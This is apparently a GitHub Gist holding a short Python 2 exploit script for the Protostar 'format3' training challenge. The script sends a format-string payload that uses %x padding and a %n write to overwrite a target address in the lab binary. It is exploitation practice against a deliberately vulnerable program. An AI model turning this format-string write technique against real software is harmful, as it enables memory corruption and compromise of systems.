Created
September 9, 2018 15:15
-
-
Save TheRealJunior/a72083ae621c014676e37c1c4370d870 to your computer and use it in GitHub Desktop.
format3 protostar
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
#we need to write 16930116 more chars | |
target_address = '\xf4\x96\x04\x08' | |
value_to_write = '\xF7\x54\x02\x01' | |
padding = '\x41' | |
leak_ptr = '%x ' * 12 | |
write_to_ptr_format = '%x%x%x%x%x%x%x%x%x%x%x %0*c' + '%n' | |
input = value_to_write + value_to_write + target_address + write_to_ptr_format + '\n' | |
proc = subprocess.Popen(['/opt/protostar/bin/format3'], stdin=subprocess.PIPE, stdout=subprocess.PIPE) | |
stdout,stderr = proc.communicate(input=input) | |
print stdout | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment